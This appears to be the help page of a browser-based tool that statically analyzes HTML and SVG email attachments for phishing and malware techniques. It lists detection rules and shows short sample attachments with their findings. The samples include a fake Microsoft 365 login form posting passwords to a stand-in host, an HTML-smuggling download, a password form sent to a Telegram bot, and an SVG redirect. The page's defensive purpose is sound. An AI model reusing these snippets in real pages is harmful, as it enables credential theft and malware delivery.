Peel Base64, hex, URL encoding, gzip and deflate layers until readable text remains.
HTML Attachment Analyzer
Use HTML Attachment Analyzer
What it does
Load or paste an HTML or SVG attachment to see what it would do if opened: hidden downloads, forms that post a password elsewhere, redirects, exfiltration endpoints and obfuscated code. The file is read as text and never rendered or run.
It runs entirely in your browser: nothing you enter is uploaded.
How to use HTML Attachment Analyzer
- Do not open the file. Save the .html, .htm, .shtml, .xhtml or .svg attachment without opening it, or copy its source as text.
- Load or paste it. Drop the file on the box or choose it (up to 25 MB), or paste the source (up to 5 MB) and press Analyze or Ctrl+Enter.
- Read the verdict. The top box says High risk, Suspicious or No high-risk patterns found, with the categories behind it and counts of findings, IOCs and embedded blobs.
- Go through the findings. Each finding shows its severity, category, line number and the matching source, with links and addresses defanged.
- Export what you found. Copy the IOCs defanged or raw, or use Send to for IOC Converter, Abuse Report Generator or, for an embedded blob, Multi-Layer Decoder.
Example
Login form with a pre-filled address
<title>Sign in to Microsoft 365</title>
<form action="https://collector.example/login" method="post">
<input type="email" name="u"> <input type="password" name="p">
<button>Sign in</button></form>
<script>document.forms[0].u.value = atob(location.hash.slice(1));</script>High risk: techniques used by phishing and malware attachments
Credential harvesting
1 high, 3 medium, 1 low · 2 IOCs · 0 embedded blobs
FILE
pasted source
SIZE
271 B · 5 lines
PAGE TITLE
Sign in to Microsoft 365
This file builds or hides code at run time. For deobfuscation and sandboxed emulation use JS Analyzer.
Findings
High
Login form sends the password to another site (collector[.]example)
Credential harvesting · line 2
<title>Sign in to Microsoft 365</title> <form action="hxxps://collector[.]example/login" method="post"> <input type="email" name="u"> <input type="password" name="…
Medium
Decodes Base64 at run time (atob)
Obfuscation · line 5
…Sign in</button></form> <script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Medium
Brand on a page with a password field: Microsoft / Office 365
Brand hints
Medium
Password field
Credential harvesting · line 3
…example/login" method="post"> <input type="email" name="u"> <input type="password" name="p"> <button>Sign in</button></form> <script>document.forms[0].u…
Low
Reads the URL fragment (often the victim’s e-mail to pre-fill)
Redirects · line 5
…in</button></form> <script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Forms
SENDS TO METHOD FIELDS LINE
hxxps://collector[.]example/login external Copy POST email u, password p, submit password 2
Requests and redirects with a literal target
VIA TARGET LINE
form hxxps://collector[.]example/login other site 2
IOCs
URLs (1)
hxxps://collector[.]example/login
Domains (1)
collector[.]example
Copy IOCs (defanged)
Copy IOCs (raw)
Static
…High risk: the login form sends the password to collector[.]example, the title names Microsoft 365 next to a password field, and the script fills in the e-mail address from the URL fragment with atob. The IOC list holds the collector URL and its domain, defanged.
What it checks
| Signal | What it means |
|---|---|
| HTML smuggling | High when the page builds a file in memory (Blob with createObjectURL or a download link, or msSaveOrOpenBlob) and offers it as a download. |
| Forms | Any form that submits to another site is rated high, and the title says when it carries a password. The Forms table lists where each form posts, its method and fields. |
| Exfiltration endpoints | Telegram Bot API calls, bot tokens, Discord webhooks and form-collection services such as formspree.io or webhook.site are rated high. |
| Obfuscation | atob, unescape, fromCharCode, long escape runs and output of known obfuscators. Literal encoded strings are decoded without running them. |
| Dynamic code | eval, the Function constructor, document.write and innerHTML assignments build code or markup at run time. |
| Redirects | Location changes, window.open, meta refresh and reading the URL fragment, where kits often pass the victim's email address. |
| Anti-analysis | Blocked right-click or F12, debugger statements, developer-tools detection and checks for automated browsers. |
| Embedded content | data: URIs, long Base64 or hex blobs and the file type they decode to, hidden iframes and SVG files that contain script. |
| Brand hints | Brand names in the title, logos or links. Next to a password field this is rated medium. |
More examples
A download built in the browser
<script>
var b = new Blob([atob("UEsFBgAAAAAAAAAAAAAAAAAAAAAAAA==")], {type: "application/zip"});
var a = document.createElement("a");
a.href = URL.createObjectURL(b);
a.download = "invoice.zip";
a.click();
</script>High risk, reason HTML smuggling: 1 high finding (the page assembles a file in the browser and offers it as a download) and 4 medium ones for atob, new Blob, URL.createObjectURL and the download attribute. No IOCs.
A password sent to a Telegram bot
<form id="f"><input type="password" name="p"></form>
<script>fetch("https://api.telegram.org/bot<TOKEN>/sendMessage", {method: "POST", body: new FormData(document.getElementById("f"))});</script>High risk, reason Data exfiltration: a script sends data from a page with a password field to api.telegram.org, plus the Telegram Bot API endpoint finding. Medium findings cover fetch, the password field and a login form without an external action.
An SVG image that redirects
<svg xmlns="http://www.w3.org/2000/svg"><script>window.location.href = "https://login.example.net/?e=" + btoa("user@example.com");</script></svg>High risk: SVG file with script, plus a medium redirect and a low btoa finding. The target appears under Requests and redirects as another site, and the XML namespace URL is left out of the IOCs.
FAQ
What does the analyzer look for?
It matches the source against rules for HTML smuggling (Blob, createObjectURL, msSaveOrOpenBlob, download links, data: URIs and long Base64 blobs), forms and scripts that send data to other sites, Telegram and Discord exfiltration, redirects, hidden iframes, obfuscators and anti-analysis tricks. It also decodes atob, unescape and fromCharCode literals without running them and lists every URL, domain, IP address and e-mail address it finds, defanged.
Can it miss something or raise a false alarm?
Yes. Encrypted or run-time-generated code can hide its behaviour from a static scan, and ordinary pages also use fetch, innerHTML or inline images, so read the matching source shown next to each finding. For deobfuscation and sandboxed emulation use JS Analyzer.
Is the file uploaded or opened?
No. The file is read as text in your browser and is never rendered, executed or sent anywhere. Files up to 25 MB are accepted; for very large ones the first 4 MB and the last 1 MB of markup are scanned, and embedded blobs are counted in the whole file.
Why is an SVG image checked like a web page?
SVG files are XML that browsers open like pages, so they can carry scripts, links and embedded HTML. An image does not need script, so script inside an SVG is rated high.
What are embedded blobs?
Long Base64, hex or byte-array strings inside the file. They are decoded in memory and labelled with the file type they turn into; you can copy one or send a text blob to Multi-Layer Decoder.
What do the severity levels mean?
High marks patterns that phishing and malware attachments rely on, such as smuggling, exfiltration endpoints or a password form posting elsewhere. Medium covers techniques ordinary pages also use. One high finding makes the verdict High risk.